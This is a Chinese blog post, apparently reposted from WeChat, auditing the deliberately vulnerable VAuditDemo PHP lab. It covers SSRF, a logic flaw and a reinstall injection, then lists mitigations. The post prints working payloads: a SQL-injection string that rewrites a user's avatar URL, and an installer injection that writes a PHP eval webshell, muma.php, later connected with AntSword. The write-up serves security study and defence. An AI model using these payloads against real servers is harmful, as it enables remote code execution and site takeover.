原创 | 记一次对VAuditDemo平台的代码审计(下)

admin 2023年7月27日08:34:49评论26 views字数 2467阅读8分13秒阅读模式
点击蓝字
关注我们

前言

2.8 SSRF漏洞

在上面的任意文件读取漏洞中,由于有file_get_contents()函数,可能存在SSRF漏洞。

2.8.1 漏洞利用

poc

https://www.baidu.com转换为十六进制

',user_avatar = 0x68747470733a2f2f7777772e62616964752e636f6d WHERE user_name = 'test'#.png
原创 | 记一次对VAuditDemo平台的代码审计(下)

修改前的数据库

原创 | 记一次对VAuditDemo平台的代码审计(下)

修改后

原创 | 记一次对VAuditDemo平台的代码审计(下)

重新登录,用BurpSuite抓包,重放avatar.php文件

原创 | 记一次对VAuditDemo平台的代码审计(下)

利用成功

在chrome浏览器中同样可以看到

原创 | 记一次对VAuditDemo平台的代码审计(下)

avatar.php文件中存在SSRF漏洞

2.9 逻辑漏洞

普通用户密码修改处不需要原密码就可以修改密码

原创 | 记一次对VAuditDemo平台的代码审计(下)

2.9.1 代码审计

原创 | 记一次对VAuditDemo平台的代码审计(下)

后端根据user_id修改密码,不需要原密码修可以修改,这样可能导致其它用户无意或者故意修改已登录的用户的密码。

2.10 重装漏洞

危险文件在/install/install.php和/sys/config.php中。

漏洞分析:

在/install/install.php中,通过POST传参接收并赋值给$dbname变量

原创 | 记一次对VAuditDemo平台的代码审计(下)

在/sys/config.php中使用直接使用$dbname

原创 | 记一次对VAuditDemo平台的代码审计(下)

在接收参数和使用参数的过程中,没有对参数进行任何的过滤,导致存在注入漏洞。

虽然没有任何检测,但是利用该漏洞的前提是要执行/sys/config.php中的sql语句,所以要能够创建一个数据库,在/install/install.php中有一条创建数据库的sql语句

原创 | 记一次对VAuditDemo平台的代码审计(下)

如果创建不成功就无法执行/sys/config.php中的sql语句,所以构造的payload要符合sql的语法规则。可以利用闭合+注释的思路构造payoad,由于在MySQL中,注释符表示为--(空格),所以可以利用这点构造payload

exp;-- -";phpinfo();//

插入到/install/install.php中的sql语句中

mysql_query( "CREATE DATABASE exp;-- -";phpinfo();//", $con ) or die ( mysql_error() );

在/sys/config.php中

$database="exp;-- -";phpinfo();//";
写入exp

原创 | 记一次对VAuditDemo平台的代码审计(下)

安装环境

原创 | 记一次对VAuditDemo平台的代码审计(下)

安装成功!

查看/sys/config.php文件

原创 | 记一次对VAuditDemo平台的代码审计(下)

phpinfo()函数已经被植入文件中,访问该文件

原创 | 记一次对VAuditDemo平台的代码审计(下)

在index页面可以看到phpinfo()函数被执行。

利用这个思路构造一句话木马,下面是构造木马的代码

system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');
先在本地测试一下,将木马写到12.php文件中

原创 | 记一次对VAuditDemo平台的代码审计(下)

文件夹内除了12.php没有其它文件

原创 | 记一次对VAuditDemo平台的代码审计(下)

访问该文件

原创 | 记一次对VAuditDemo平台的代码审计(下)

浏览器中没有任何回显,但是在文件夹中多了muma.php文件

打开muma.php

原创 | 记一次对VAuditDemo平台的代码审计(下)

发现一句话木马已经写入

测试成功了,将第一次测试的phpinfo();换成写入木马的代码,同时修改数据库名

exp001;-- -";system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');//
原创 | 记一次对VAuditDemo平台的代码审计(下)

安装

原创 | 记一次对VAuditDemo平台的代码审计(下)

安装成功

在页面访问木马测试一下

原创 | 记一次对VAuditDemo平台的代码审计(下)

木马可以访问到

用蚁剑连接

原创 | 记一次对VAuditDemo平台的代码审计(下)

连接成功!

原创 | 记一次对VAuditDemo平台的代码审计(下)

0x3 漏洞防御

3.1 SQL注入漏洞

1、过滤敏感字符
2、不适用危险函数,比如mysql_error()函数,该函数会导致报错注入漏洞
3、将配置文件中的一些配置选项关闭,比如display_errors=Off,该配置选项也可能导致报错注入漏洞的产生。
4、前端与后端统一使用UTF-8编码,防止宽字节注入
5、使用参数化查询,将用户传进去的数据仅作为参数而不作为命令使用,解决注入类漏洞的问题。

3.2 文件上传+文件包含漏洞

1、尽可能使用白名单策略检测上传的文件后缀名或者检测包含的文件,防止恶意用户上传一些可执行文件或配置文件。
2、将上传的文件名重写,使用户对文件名不可知,即使上传成功也无法利用
3、处理好文件检测与文件保存之间的关系,防止由于条件竞争导致的文件上传漏洞

3.3 XSS漏洞

1、过滤敏感字符
2、对输入端和输出端做严格的检测
3、使用实体编码
4、设置正确的cookie处理机制,比如设置httponly,让JavaScript脚本无法捕捉到cookie信息

3.4 命令执行漏洞

1、过滤危险命令
2、尽量不使用可执行系统命令的危险函数
3、针对使用ping命令的,可以根据ip的特点使用正则匹配严格过滤输入的参数

3.5 水平越权漏洞

1、严格分配每个用户可执行的权限
2、设置合理的用户数据处理机制
3、根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。

3.6 失效的会话管理漏洞

正确处理验证码保存机制,设置验证码仅可使用一次,使用之后就将验证码置为空,同时检测用户输入的验证码是否为空。

3.7 任意文件读取漏洞

1、设置白名单策略
2、严格检测用户输入的参数

3.8 SSRF漏洞

1、限制协议
2、限制IP,避免应用被用来获取内网数据,攻击内网
3、限制端口,限制请求的端口为http常用的端口,比如,80、443、8080、8090
4、过滤返回信息,验证远程服务器对请求的响应是比较简单的方法
5、统一错误信息处理,避免用户可以根据错误信息来判断远端服务器端口状态,例如把所有错误信息改成404或者其它信息。

3.9 逻辑漏洞

根据会话确定用户的身份和权限,不要根据请求的其他特性对用户的权限做出假设。

3.10 重装漏洞

对用户输入的数据进行严格的过滤,可使用白名单策略或黑名单策略。
0x4 补充

在web1.0时代只有管理员才能将数据传到服务器,普通用户只有读的权限,这时的漏洞还不是很多。到了web2.0时代,能与服务器进行交互的不仅仅是管理员,互联网用户也可以和服务器进行交互,在这个时期就出现了很多漏洞。

总结:漏洞问题大多是授信问题,如果我们对用户输入的任何数据都是零授信,就可以杜绝绝大多数漏洞。

原文始发于微信公众号(白帽子):原创 | 记一次对VAuditDemo平台的代码审计(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月27日08:34:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 记一次对VAuditDemo平台的代码审计(下)https://cn-sec.com/archives/1909284.html

发表评论

匿名网友 填写信息